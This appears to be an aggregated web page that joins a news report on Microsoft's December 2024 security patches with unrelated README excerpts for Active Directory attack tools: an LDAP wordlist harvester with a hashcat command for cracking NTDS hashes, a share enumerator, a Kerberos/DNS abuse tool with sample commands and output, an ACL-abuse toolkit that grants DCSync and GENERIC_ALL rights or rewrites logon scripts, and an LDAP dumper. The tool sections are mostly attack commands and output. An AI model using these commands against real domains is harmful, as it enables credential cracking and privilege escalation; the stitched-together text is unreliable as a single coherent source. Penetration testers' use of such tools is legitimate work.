Login
Microsoft today released updates to plug at least 70 security holes in Windows and Windows software, including one vulnerability that is already being exploited in active attacks.
The zero-day seeing exploitation involves CVE-2024-49138, a security weakness in the Windows Common Log File System (CLFS) driver — used by applications to write transaction logs — that could let an authenticated attacker gain “system” level privileges on a vulnerable Windows device.
The security firm Rapid7 notes there have been a series of zero-day elevation of privilege flaws in CLFS over the past few years.
“Ransomware authors who have abused previous CLFS vulnerabilities will be only too pleased to get their hands on a fresh one,” wrote Adam Barnett, lead software engineer at Rapid7. “Expect more CLFS zero-day vulnerabilities to emerge in the future, at least until Microsoft performs a full replacement of the aging CLFS codebase instead of offering spot fixes for specific flaws.”
Elevation of privilege vulnerabilities accounted for 29% of the 1,009 security bugs Microsoft has patched so far in 2024, according to a year-end tally by Tenable; nearly 40 percent of those bugs were weaknesses that could let attackers run malicious code on the vulnerable device.
Rob Reeves, principal security engineer at Immersive Labs, called special attention to CVE-2024-49112, a remote code execution flaw in the Lightweight Directory Access Protocol (LDAP) service on every version of Windows since Windows 7. CVE-2024-49112 has been assigned a CVSS (badness) score of 9.8 out of 10.
“LDAP is most commonly seen on servers that are Domain Controllers inside a Windows network and LDAP must be exposed to other servers and clients within an enterprise environment for the domain to function,” Reeves said. “Microsoft hasn’t released specific information about the vulnerability at present, but has indicated that the attack complexity is low and authentication is not required.”
Tyler Reguly at the security firm Fortra had a slightly different 2024 patch tally for Microsoft, at 1,088 vulnerabilities, which he said was surprisingly similar to the 1,063 vulnerabilities resolved in 2023 and the 1,119 vulnerabilities resolved in 2022.
“If nothing else, we can say that Microsoft is consistent,” Reguly said. “While it would be nice to see the number of vulnerabilities each year decreasing, at least consistency lets us know what to expect.”
If you’re a Windows end user and your system is not set up to automatically install updates, please take a minute this week to run Windows Update, preferably after backing up your system and/or important data.
System admins should keep an eye on AskWoody.com, which usually has the details if any of the Patch Tuesday fixes are causing problems. In the meantime, if you run into any problems applying this month’s fixes, please drop a note about in the comments below.
A tool to generate a wordlist from the information present in LDAP, in order to crack non-random passwords of domain accounts.
The bigger the domain is, the better the wordlist will be.
FreshRSS 
name and sAMAccountName
name and sAMAccountName
name
name
name and descriptions
descriptions
--outputfile
To generate a wordlist from the LDAP of the domain domain.local you can use this command:
./LDAPWordlistHarvester.py -d 'domain.local' -u 'Administrator' -p 'P@ssw0rd123!' --dc-ip 192.168.1.101
You will get the following output if using the Python version:
You will get the following output if using the Powershell version:
Once you have this wordlist, you should crack your NTDS using hashcat, --loopback and the rule clem9669_large.rule.
./hashcat --hash-type 1000 --potfile-path ./client.potfile ./client.ntds ./wordlist.txt --rules ./clem9669_large.rule --loopback
$ ./LDAPWordlistHarvester.py -h
LDAPWordlistHarvester.py v1.1 - by @podalirius_
usage: LDAPWordlistHarvester.py [-h] [-v] [-o OUTPUTFILE] --dc-ip ip address [-d DOMAIN] [-u USER] [--ldaps] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]
options:
-h, --help show this help message and exit
-v, --verbose Verbose mode. (default: False)
-o OUTPUTFILE, --outputfile OUTPUTFILE
Path to output file of wordlist.
Authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
--ldaps Use LDAPS instead of LDAP
Credentials:
--no- pass Don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
Password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
Multithreaded C# .NET Assembly to enumerate accessible network shares in a domain
Built upon djhohnstein's SharpShares project
> .\SharpShares.exe help
Usage:
SharpShares.exe /threads:50 /ldap:servers /ou:"OU=Special Servers,DC=example,DC=local" /filter:SYSVOL,NETLOGON,IPC$,PRINT$ /verbose /outfile:C:\path\to\file.txt
Optional Arguments:
/threads - specify maximum number of parallel threads (default=25)
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/ldap - query hosts from the following LDAP filters (default=all)
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/stealth - list share names without performing read/write access checks
/filter - list of comma-separated shares to exclude from enumeration
default: SYSVOL,NETLOGON,IPC$,PRINT$
/outfile - specify file for shares to be appended to instead of printing to std out
/verbose - return unauthorized shares
execute-assembly /path/to/SharpShares.exe /ldap:all /filter:sysvol,netlogon,ipc$,print$
The /ldap and /ou flags can be used together or seprately to generate a list of hosts to enumerate.
All hosts returned from these flags are combined and deduplicated before enumeration starts.
gssapi-abuse was released as part of my DEF CON 31 talk. A full write up on the abuse vector can be found here: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
The tool has two features. The first is the ability to enumerate non Windows hosts that are joined to Active Directory that offer GSSAPI authentication over SSH.
The second feature is the ability to perform dynamic DNS updates for GSSAPI abusable hosts that do not have the correct forward and/or reverse lookup DNS entries. GSSAPI based authentication is strict when it comes to matching service principals, therefore DNS entries should match the service principal name both by hostname and IP address.
gssapi-abuse requires a working krb5 stack along with a correctly configured krb5.conf.
On Windows hosts, the MIT Kerberos software should be installed in addition to the python modules listed in requirements.txt, this can be obtained at the MIT Kerberos Distribution Page. Windows krb5.conf can be found at C:\ProgramData\MIT\Kerberos5\krb5.conf
The libkrb5-dev package needs to be installed prior to installing python requirements
Once the requirements are satisfied, you can install the python dependencies via pip/pip3 tool
pip install -r requirements.txt
The enumeration mode will connect to Active Directory and perform an LDAP search for all computers that do not have the word Windows within the Operating System attribute.
Once the list of non Windows machines has been obtained, gssapi-abuse will then attempt to connect to each host over SSH and determine if GSSAPI based authentication is permitted.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
DNS mode utilises Kerberos and dnspython to perform an authenticated DNS update over port 53 using the DNS-TSIG protocol. Currently dns mode relies on a working krb5 configuration with a valid TGT or DNS service ticket targetting a specific domain controller, e.g. DNS/dc1.victim.local.
Adding a DNS A record for host ahost.ad.ginge.com
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
Adding a reverse PTR record for host ahost.ad.ginge.com. Notice that the data argument is terminated with a ., this is important or the record becomes a relative record to the zone, which we do not want. We also need to specify the target zone to update, since PTR records are stored in different zones to A records.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
Forward and reverse DNS lookup results after execution
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
acltoolkit is an ACL abuse swiss-army knife. It implements multiple ACL abuses.
pip install acltoolkit-ador
git clone https://github.com/zblurx/acltoolkit.git
cd acltoolkit
makeusage: acltoolkit [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-scheme ldap scheme]
target {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} ...
ACL abuse swiss-army knife
positional arguments:
target [[domain/]username[:password]@]<target name or address>
{get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript}
Action
get-objectacl Get Object ACL
set-objectowner Modify Object Owner
give-genericall Grant an object GENERIC ALL on a targeted object
give-dcsync Grant an object DCSync capabilities on the domain
add-groupmember Add Member to Group
set-logonscript Change Logon Sript of User
options :
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-scheme ldap scheme
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHAS H
$ acltoolkit get-objectacl -h
usage: acltoolkit target get-objectacl [-h] [-object object] [-all]
options:
-h, --help show this help message and exit
-object object Dump ACL for <object>. Parameter can be a sAMAccountName, a name, a DN or an objectSid
-all List every ACE of the object, even the less-interesting ones
The get-objectacl will take a sAMAccountName, a name, a DN or an objectSid as input with -object and will list Sid, Name, DN, Class, adminCount, LogonScript configured, Primary Group, Owner and DACL of it. If no parameter supplied, will list informations about the account used to authenticate.
$ acltoolkit waza.local/jsmith:Password#123@192.168.56.112 get-objectacl
Sid : S-1-5-21-267175082-2660600898-836655089-1103
Name : waza\John Smith
DN : CN=John Smith,CN=Users,DC=waza,DC=local
Class : top, person, organizationalPerson, user
adminCount : False
Logon Script
scriptPath : \\WAZZAAAAAA\OCD\test.bat
msTSInitialProgram: \\WAZZAAAAAA\OCD\test.bat
PrimaryGroup
Sid : S-1-5-21-267175082-2660600898-836655089-513
Name : waza\Domain Users
DN : CN=Domain Users,OU=Builtin Groups,DC=waza,DC=local
[...]
OwnerGroup
Sid : S-1-5-21-267175082-2660600898-836655089-512
Name : waza\Domain Admins
Dacl
ObjectSid : S-1-1-0
Name : Everyone
AceType : ACCESS_ALLOWED_OBJECT_ACE
Ac cessMask : 256
ADRights : EXTENDED_RIGHTS
IsInherited : False
ObjectAceType : User-Change-Password
[...]
ObjectSid : S-1-5-32-544
Name : BUILTIN\Administrator
AceType : ACCESS_ALLOWED_ACE
AccessMask : 983485
ADRights : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, CREATE_CHILD
IsInherited : True
$ acltoolkit set-objectowner -h
usage: acltoolkit target set-objectowner [-h] -target-sid target_sid [-owner-sid owner_sid]
options:
-h, --help show this help message and exit
-target-sid target_sid
Object Sid targeted
-owner-sid owner_sid New Owner Sid
The set-objectowner will take as input a target sid and an owner sid, and will change the owner of the target object.
$ acltoolkit give-genericall -h
usage: acltoolkit target give-genericall [-h] -target-sid target_sid [-granted-sid owner_sid]
options:
-h, --help show this help message and exit
-target-sid target_sid
Object Sid targeted
-granted-sid owner_sid
Object Sid granted GENERIC_ALL
The give-genericall will take as input a target sid and a granted sid, and will change give GENERIC_ALL DACL to the granted SID to the target object.
$ acltoolkit give-dcsync -h
usage: acltoolkit target give-dcsync [-h] [-granted-sid owner_sid]
options:
-h, --help show this help message and exit
-granted-sid owner_sid
Object Sid granted DCSync capabilities
The give-dcsync will take as input a granted sid, and will change give DCSync capabilities to the granted SID.
$ acltoolkit add-groupmember -h
usage: acltoolkit target add-groupmember [-h] [-user user] -group group
options:
-h, --help show this help message and exit
-user user User added to a group
-group group Group where the user will be added
The add-groupmember will take as input a user sAMAccountName and a group sAMAccountName, and will add the user to the group
$ acltoolkit set-logonscript -h
usage: acltoolkit target set-logonscript [-h] -target-sid target_sid -script-path script_path [-logonscript-type logonscript_type]
options:
-h, --help show this help message and exit
-target-sid target_sid
Object Sid of targeted user
-script-path script_path
Script path to set for the targeted user
-logonscript-type logonscript_type
Logon Script variable to change (default is scriptPath)
The set-logonscript will take as input a target sid and a script path, and will the the Logon Script path of the targeted user to the script path specified.
msLDAPDump simplifies LDAP enumeration in a domain environment by wrapping the lpap3 library from Python in an easy-to-use interface. Like most of my tools, this one works best on Windows. If using Unix, the tool will not resolve hostnames that are not accessible via eth0 currently.
Users can bind to LDAP anonymously through the tool and dump basic information about LDAP, including domain naming context, domain controller hostnames, and more.
Each check outputs the raw contents to a text file, and an abbreviated, cleaner version of the results in the terminal environment. The results in the terminal are pulled from the individual text files.
Please keep in mind that this tool is meant for ethical hacking and penetration testing purposes only. I do not condone any behavior that would include testing targets that you do not currently have permission to test against.
